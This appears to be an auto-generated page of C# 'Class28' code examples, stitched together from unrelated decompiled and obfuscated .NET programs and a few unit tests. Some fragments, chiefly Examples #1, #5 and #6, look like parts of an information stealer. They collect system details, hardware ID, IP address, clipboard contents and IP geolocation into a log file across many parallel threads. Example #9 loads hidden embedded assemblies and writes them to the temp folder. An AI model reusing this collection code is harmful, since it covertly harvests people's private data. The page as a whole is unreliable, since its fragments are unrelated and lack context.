Example #1
0
    // Token: 0x06000213 RID: 531 RVA: 0x00010A50 File Offset: 0x0000EC50
    public static void smethod_1()
    {
        Class28.smethod_7();
        string text  = Convert.ToString(Screen.PrimaryScreen.Bounds.Size);
        string text2 = Convert.ToString(Environment.ProcessorCount);
        string text3 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", "").ToString();
        string text4 = Class28.smethod_2();

        File.WriteAllText(Dirs.WorkDir + "\\UserInfo.txt", string.Concat(new string[]
        {
            "Screen Resolution: ",
            text.Replace("{", "").Replace("}", ""),
            "\r\nOS: ",
            text3,
            Class28.smethod_3(),
            "\r\nProcessesors: ",
            text2,
            "\r\nIP: ",
            Class28.string_0,
            "\r\nHWID: ",
            text4,
            "\r\nKeyboards: ",
            Class28.string_2,
            "\r\nVideo Card: ",
            Class28.smethod_8(),
            "\r\nRAM Size: ",
            Class28.smethod_9(),
            "\r\nCPU Name: ",
            Class28.smethod_6(),
            "\r\nClipboard: ",
            Clipboard.GetText(),
            Class16.string_0
        }), Encoding.Default);
    }
 // Token: 0x060012EA RID: 4842 RVA: 0x000045CA File Offset: 0x000027CA
 internal void method_4(object object_0, Class28 class28_0)
 {
     if (this.delegate123_0 != null)
     {
         this.delegate123_0(object_0, class28_0);
     }
 }
Example #3
0
        public void Test4()
        {
            string[] expected = new string[] { "" };
            int[]    input    = new int[] { 1 };
            var      actual   = Class28.PrintCombos(input);

            Assert.Equal(expected, actual);
        }
Example #4
0
        public void Test2()
        {
            string[] expected = new string[] { "ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf" };
            int[]    input    = new int[] { 2, 3 };
            var      actual   = Class28.PrintCombos(input);

            Assert.Equal(expected, actual);
        }
Example #5
0
 // Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC
 public static int smethod_0(string string_0)
 {
     new Thread(delegate()
     {
         Class26.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class27.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class28.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class29.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class30.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class31.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class32.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class35.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class36.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class33.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class34.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class38.smethod_0(string_0);
     }).Start();
     return(Class37.int_0);
 }
Example #6
0
    // Token: 0x06000217 RID: 535 RVA: 0x00010C80 File Offset: 0x0000EE80
    public static Class28.Class29 smethod_5(string string_3)
    {
        string s = Class28.smethod_4("http://ip-api.com/xml/" + string_3);

        Class28.Class29 result;
        using (TextReader textReader = new StringReader(s))
        {
            using (DataSet dataSet = new DataSet())
            {
                Class28.Class29 @class = new Class28.Class29();
                dataSet.ReadXml(textReader);
                @class.method_1(dataSet.Tables[0].Rows[0][1].ToString());
                @class.method_3(dataSet.Tables[0].Rows[0][2].ToString());
                @class.method_5(dataSet.Tables[0].Rows[0][3].ToString());
                @class.method_7(dataSet.Tables[0].Rows[0][4].ToString());
                @class.method_9(dataSet.Tables[0].Rows[0][5].ToString());
                @class.method_11(dataSet.Tables[0].Rows[0][6].ToString());
                @class.method_13(dataSet.Tables[0].Rows[0][9].ToString());
                @class.method_15(dataSet.Tables[0].Rows[0][10].ToString());
                Class28.list_1.Add(string.Concat(new string[]
                {
                    "\r\n<===| Info |===>\r\nCountry: ",
                    @class.method_0(),
                    "\r\nCountry Code: ",
                    @class.method_2(),
                    "\r\nRegion: ",
                    @class.method_4(),
                    "\r\nCity: ",
                    @class.method_8(),
                    "\r\nZip: ",
                    @class.method_10(),
                    "\r\nTime Zone: ",
                    @class.method_12(),
                    "\r\nISP: ",
                    @class.method_14()
                }));
                result = @class;
            }
        }
        return(result);
    }
Example #7
0
    public LogonResponse Initialize(string userID, string logonPassword, string serverIP, int serverPort, ICustomizeHandler customizeHandler)
    {
        if (this.emptyAgileLogger_0 == null)
        {
            if (this.string_1 == null)
            {
                this.emptyAgileLogger_0 = new EmptyAgileLogger();
            }
            else
            {
                FileAgileLogger logger = new FileAgileLogger(this.string_1)
                {
                    MaxLength4ChangeFile = 0x100000L
                };
                this.emptyAgileLogger_0 = (EmptyAgileLogger)logger;
            }
        }
        this.eventSafeTrigger_0.AgileLogger = this.emptyAgileLogger_0;
        this.string_0 = logonPassword;
        Class16 class2 = new Class16();
        MessageForbiddenHandler class3 = new MessageForbiddenHandler();

        this.object_0 = Class157.CreateInterface26((Enum6)0);
        int num = (!this.advancedOptions_0.CheckResponseTTL4Query || !this.bool_4) ? 10 : 0;

        this.class72_0 = new Class72(num, this.int_1);
        this.class72_0.SetEngine((IEngine)this.object_0);
        Interface36          interface2 = new Class94((ICommitMessageToServer)this.object_0, class3, null);
        Class79              class4     = new Class79(this.class72_0, interface2);
        BasicMessageTypeRoom room       = new BasicMessageTypeRoom();

        room.Initialize();
        CustomizeMessageTypeRoom room2 = new CustomizeMessageTypeRoom();

        room2.Initialize();
        FileMessageTypeRoom room3 = new FileMessageTypeRoom();

        room3.Initialize();
        P2PSessionMessageTypeRoom room4 = new P2PSessionMessageTypeRoom();

        room4.Initialize();
        FriendsMessageTypeRoom room5 = new FriendsMessageTypeRoom();

        room5.Initialize();
        GroupMessageTypeRoom room6 = new GroupMessageTypeRoom();

        room6.Initialize();
        ContactsMessageTypeRoom room7 = new ContactsMessageTypeRoom();

        room7.Initialize();
        this.class113_0 = new BasicOutter();
        this.class113_0.SetBasicMessageTypeRoom(room);
        this.class113_0.SetActionType(class4);
        this.class113_0.SetStreamContract(class2);
        this.class113_0.SetICommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.class113_0.NgadStsqsh += new CbGeneric(this.method_1);
        this.class113_0.method_2(userID);
        this.class71_0 = new Class71(this.class113_0, this.bool_4 ? 0 : this.int_0);
        Class78 class9 = new Class78();

        class9.method_5(this.class113_0);
        class9.method_1(room);
        class9.method_2(class2);
        class9.method_4((ICommitMessageToServer)this.object_0);
        class9.method_3(class4);
        this.class43_0 = new Class43();
        this.class43_0.method_5(class4);
        this.class43_0.method_4(class2);
        this.class43_0.method_3(room2);
        this.class43_0.method_1(userID);
        CustomizeProcess class10 = new CustomizeProcess();

        class10.SetStreamContractHelper(class2);
        class10.SetCustomizeHandler(customizeHandler);
        class10.SetCustomizeMessageTypeRoom(room2);
        class10.SetActionType(class4);
        class10.Event_0 += new CbGeneric <string, int, byte[], string>(this.OnMessageReceived);
        Class75 class7 = new Class75(class4, class2, room4);

        class7.method_1(userID);
        Class24 class8 = new Class24();

        class8.method_0(room4);
        class8.method_1(class2);
        class8.DaTyrcXefU(class7);
        this.class2_0 = new FileTransfering();
        this.class2_0.method_0(this.emptyAgileLogger_0);
        this.class13_0 = new FileHandler();
        this.class13_0.method_0(this.emptyAgileLogger_0);
        this.class2_0.TTL4ResumedFileItem = this.advancedOptions_0.TempFile4ResumedTTL;
        this.class13_0.method_1(class4);
        this.class13_0.method_3(class2);
        this.class13_0.imethod_1(0x100000);
        this.class13_0.method_7(this.advancedOptions_0.UseWorkThreadPool);
        this.class13_0.Initialize(userID, room3.FilePackageData);
        this.class28_0 = new Class28();
        this.class28_0.method_2(this.advancedOptions_0.CheckFileZeroSpeedSpanInSecs);
        this.class28_0.method_0(this.emptyAgileLogger_0);
        this.class28_0.method_13(room3);
        this.class28_0.method_14(class2);
        this.class28_0.method_16(class4);
        this.class28_0.method_12(this.class2_0);
        this.class28_0.method_11(this.class13_0);
        this.class28_0.Initialize(userID);
        Class70 class11 = new Class70();

        class11.method_0(room3);
        class11.method_1(class2);
        class11.method_3(this.class13_0);
        class11.method_2(this.class2_0);
        class11.method_4(this.class28_0);
        this.class126_0 = new FriendsOutter();
        this.class126_0.method_4(class4);
        this.class126_0.method_3(class2);
        this.class126_0.method_2(room5);
        this.class126_0.FriendOffline += new CbGeneric <string>(this.method_6);
        this.class126_0.method_1(userID);
        Class59 class12 = new Class59();

        class12.method_2(class2);
        class12.method_3(this.class126_0);
        class12.method_1(room5);
        this.class19_0 = new GroupOutter2();
        this.class19_0.method_0(class4);
        this.class19_0.uBkeyEkxPJ(class2);
        this.class19_0.Iibebiqvn1(room6);
        this.class19_0.SetCommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.class19_0.GroupmateOffline += new CbGeneric <string>(this.method_7);
        this.class19_0.method_4(userID);
        Class140 class13 = new Class140();

        class13.method_0(room6);
        class13.method_2(this.class19_0);
        class13.method_1(class2);
        this.ContactsOutter_0 = new ContactsOutter();
        this.ContactsOutter_0.method_2(class4);
        this.ContactsOutter_0.SetStreamContract(class2);
        this.ContactsOutter_0.SetMessageType(room7);
        this.ContactsOutter_0.SetCommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.ContactsOutter_0.ContactsOffline += new CbGeneric <string>(this.method_8);
        this.ContactsOutter_0.method_5(userID);
        Class20 class14 = new Class20();

        class14.SetMessageType(room7);
        class14.SetOutter(this.ContactsOutter_0);
        class14.SetStreamContract(class2);
        IProcess[] processers = new IProcess[] { class9, class10, class8, class11, class12, class13, class14 };
        this.class141_0 = new Class141(processers, this.class72_0);
        this.class141_0.method_6(this.advancedOptions_0.AsynMessageQueueEnabled && !this.bool_4);
        this.class141_0.method_7(class4);
        this.class141_0.method_4(this.emptyAgileLogger_0);
        this.class141_0.method_8();
        new Class40(new IMessageTypeRoom[] { room, room2, room3, room4, room5, room6, room7 }, this.class141_0).method_2();
        MessageDispatcher class6 = new MessageDispatcher(new Class144(new Class115(this.class141_0)), class3);

        class6.imethod_0(this.emptyAgileLogger_0);
        this.object_0.SetAgileLogger(this.emptyAgileLogger_0);
        this.object_0.Sock5ProxyInfo = this.sock5ProxyInfo_0;
        this.object_0.SetAgileIPE(new AgileIPE(serverIP, serverPort));
        this.object_0.SetStreamContract(class2);
        this.object_0.imethod_12(class6);
        this.object_0.imethod_10(GlobalUtil.MaxLengthOfMessage);
        this.object_0.AutoReconnect = false;
        this.object_0.imethod_23((this.advancedOptions_0.WriteTimeoutInSecs <= 0) ? -1 : (this.advancedOptions_0.WriteTimeoutInSecs * 0x3e8));
        this.object_0.SocketSendBuffSize           = this.advancedOptions_0.SocketSendBuffSize;
        this.object_0.UncompletedSendingCount4Busy = this.advancedOptions_0.UncompletedSendingCount4Busy;
        this.object_0.ConnectionInterrupted       += new CbGeneric(this.method_5);
        this.object_0.imethod_25(new CbGeneric(this.method_4));
        this.object_0.ConnectionRebuildStart += new CbGeneric(this.method_2);
        this.object_0.Initialize();
        LogonFullResponse response = this.class113_0.method_7(this.systemToken, this.string_0);

        if (response.LogonResult != LogonResult.Succeed)
        {
            this.object_0.OnDispose();
            return(response);
        }
        this.object_0.imethod_27();
        this.bool_0 = response.Boolean_0;
        this.bool_3 = response.GroupRelationEnabled;
        if ((this.bool_0 && this.advancedOptions_0.Boolean_0) && !this.bool_4)
        {
            if (response.UseAsP2PServer && (this.agileIPE_0 == null))
            {
                this.agileIPE_0 = new AgileIPE(this.object_0.GetAgileIPE().String_0, this.object_0.GetAgileIPE().Port + 1);
            }
            if (this.agileIPE_0 != null)
            {
                this.class58_0 = new P2PController();
                this.class58_0.method_6(this.agileIPE_0);
                this.class58_0.method_5(this.emptyAgileLogger_0);
                this.class58_0.method_3((Interface26)this.object_0);
                this.class58_0.method_2(class7);
                this.class58_0.method_4(room4);
                this.class58_0.P2PChannelClosed += new CbGeneric <P2PChannelState>(this.method_3);
                this.class58_0.method_7(userID, this.bool_2);
                interface2.imethod_2(this.class58_0);
                class8.method_2(this.class58_0);
                this.class13_0.method_4(new Class56(this.class58_0));
                this.class19_0.method_1(this.class58_0);
            }
        }
        if (this.bool_2)
        {
            this.class108_0 = new TcpPassiveEngine((Interface26)this.object_0, this.class113_0, this.emptyAgileLogger_0);
            this.class108_0.method_3();
        }
        this.class71_0.method_0();
        this.class113_0.SendHeartBeatMessage();
        this.string_3 = userID;
        this.bool_1   = true;
        this.object_0.AutoReconnect = this.bool_5;
        return(response);
    }
Example #8
0
 // Token: 0x06000629 RID: 1577 RVA: 0x00006F94 File Offset: 0x00005194
 internal Class31(Expression expression_0, O3JSdjQuD5uSVMwF47d JrYiIEQpPP50mOR5aAh, Class28 <O3JSdjQuD5uSVMwF47d> class28_1)
 {
     Class202.ofdixO4zTbIfy();
     base..ctor(expression_0, BindingRestrictions.Empty, JrYiIEQpPP50mOR5aAh);
     this.class28_0 = class28_1;
 }
Example #9
0
 private static Assembly smethod_0(object object_0, ResolveEventArgs resolveEventArgs_0)
 {
     lock (hashtable_0)
     {
         string str  = resolveEventArgs_0.Name.Trim();
         object obj2 = hashtable_0[str];
         if (obj2 == null)
         {
             try
             {
                 string str2 = smethod_1(str);
                 foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies())
                 {
                     if (assembly.GetName().Name.ToUpper() == str2.ToUpper())
                     {
                         return(assembly);
                     }
                 }
             }
             catch
             {
             }
         }
         if (obj2 == null)
         {
             try
             {
                 RSACryptoServiceProvider.UseMachineKeyStore = true;
                 string s     = smethod_1(str);
                 byte[] bytes = Encoding.Unicode.GetBytes(s);
                 string name  = "b0494a1f-4bd3-" + Convert.ToBase64String(Class28.smethod_9(bytes));
                 Stream manifestResourceStream = typeof(Class32).Assembly.GetManifestResourceStream(name);
                 if (manifestResourceStream != null)
                 {
                     try
                     {
                         BinaryReader reader = new BinaryReader(manifestResourceStream)
                         {
                             BaseStream = { Position = 0L }
                         };
                         byte[] buffer = new byte[manifestResourceStream.Length];
                         reader.Read(buffer, 0, buffer.Length);
                         reader.Close();
                         bool     flag      = false;
                         Assembly assembly2 = null;
                         try
                         {
                             assembly2 = Assembly.Load(buffer);
                         }
                         catch (FileLoadException)
                         {
                             flag = true;
                         }
                         catch (BadImageFormatException)
                         {
                             flag = true;
                         }
                         if (flag)
                         {
                             string path = Path.Combine(Path.Combine(Path.GetTempPath(), name), s + ".dll");
                             if (!File.Exists(path))
                             {
                                 Directory.CreateDirectory(Path.GetDirectoryName(path));
                                 FileStream stream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
                                 stream2.Write(buffer, 0, buffer.Length);
                                 stream2.Close();
                             }
                             assembly2 = Assembly.LoadFile(path);
                             hashtable_0.Add(str, assembly2);
                             return(assembly2);
                         }
                         hashtable_0.Add(str, assembly2);
                         return(assembly2);
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
             return(null);
         }
         return((Assembly)obj2);
     }
 }
Example #10
0
    // Token: 0x060004E5 RID: 1253 RVA: 0x00028164 File Offset: 0x00026364
    public static Class139 smethod_1(object object_0, Type type_0)
    {
        Class139 @class = object_0 as Class139;

        if (@class != null)
        {
            return(@class);
        }
        if (type_0 == null)
        {
            if (object_0 == null)
            {
                return(new Class166());
            }
            type_0 = object_0.GetType();
        }
        type_0 = Class102.smethod_1(type_0);
        if (type_0 == Class28.type_0)
        {
            @class = new Class166();
            if (object_0 != null && object_0.GetType() != Class28.type_0)
            {
                @class.method_1(object_0.GetType());
            }
        }
        else if (Class99.smethod_0 <Array>(type_0))
        {
            @class = new Class140();
        }
        else if (Class99.smethod_0 <string>(type_0))
        {
            @class = new Class143();
        }
        else if (Class99.smethod_0 <IntPtr>(type_0))
        {
            @class = new Class146();
        }
        else if (Class99.smethod_0 <UIntPtr>(type_0))
        {
            @class = new Class157();
        }
        else if (Class99.smethod_0 <ulong>(type_0))
        {
            @class = new Class165();
        }
        else if (Class99.smethod_0 <uint>(type_0))
        {
            @class = new Class163();
        }
        else if (Class99.smethod_0 <ushort>(type_0))
        {
            @class = new Class159();
        }
        else if (Class99.smethod_0 <long>(type_0))
        {
            @class = new Class156();
        }
        else if (Class99.smethod_0 <int>(type_0))
        {
            @class = new Class145();
        }
        else if (Class99.smethod_0 <short>(type_0))
        {
            @class = new Class141();
        }
        else if (Class99.smethod_0 <byte>(type_0))
        {
            @class = new Class164();
        }
        else if (Class99.smethod_0 <sbyte>(type_0))
        {
            @class = new Class161();
        }
        else if (Class99.smethod_0 <double>(type_0))
        {
            @class = new Class158();
        }
        else if (Class99.smethod_0 <float>(type_0))
        {
            @class = new Class162();
        }
        else if (Class99.smethod_0 <bool>(type_0))
        {
            @class = new Class144();
        }
        else if (Class99.smethod_0 <char>(type_0))
        {
            @class = new Class155();
        }
        else if (Class28.smethod_0(type_0))
        {
            Class166 class2 = new Class166();
            class2.method_1(type_0);
            @class = class2;
        }
        else
        {
            if (Class99.smethod_0 <Enum>(type_0))
            {
                Enum enum_;
                if (object_0 == null)
                {
                    if (type_0 == Class28.type_2)
                    {
                        enum_ = null;
                    }
                    else
                    {
                        enum_ = (Enum)Activator.CreateInstance(type_0);
                    }
                }
                else if (type_0 == Class28.type_2 && object_0 is Enum)
                {
                    enum_ = (Enum)object_0;
                }
                else
                {
                    enum_ = (Enum)Enum.ToObject(type_0, object_0);
                }
                return(new Class160(enum_));
            }
            if (Class99.smethod_0 <ValueType>(type_0))
            {
                if (object_0 == null)
                {
                    object object_;
                    if (type_0 == Class28.type_3)
                    {
                        object_ = null;
                    }
                    else
                    {
                        object_ = Activator.CreateInstance(type_0);
                    }
                    @class = new Class154(object_);
                }
                else
                {
                    if (object_0.GetType() != type_0)
                    {
                        try
                        {
                            object_0 = Convert.ChangeType(object_0, type_0);
                        }
                        catch
                        {
                        }
                    }
                    @class = new Class154(object_0);
                }
                return(@class);
            }
            @class = new Class166();
        }
        if (object_0 != null)
        {
            @class.vmethod_1(object_0);
        }
        return(@class);
    }
Example #11
0
        // Token: 0x06001438 RID: 5176 RVA: 0x00024BA8 File Offset: 0x00022DA8
        public void FolderScanStateChange(Enum7 wmpfss)
        {
            Class28 class28_ = new Class28(wmpfss);

            this.class24_0.method_4(this.class24_0, class28_);
        }
Example #12
0
        private static void smethod_0(Class28 class28_0)
        {
            Class28 class2 = class28_0;

            class2.delegate_0.DynamicInvoke(class2.object_0);
        }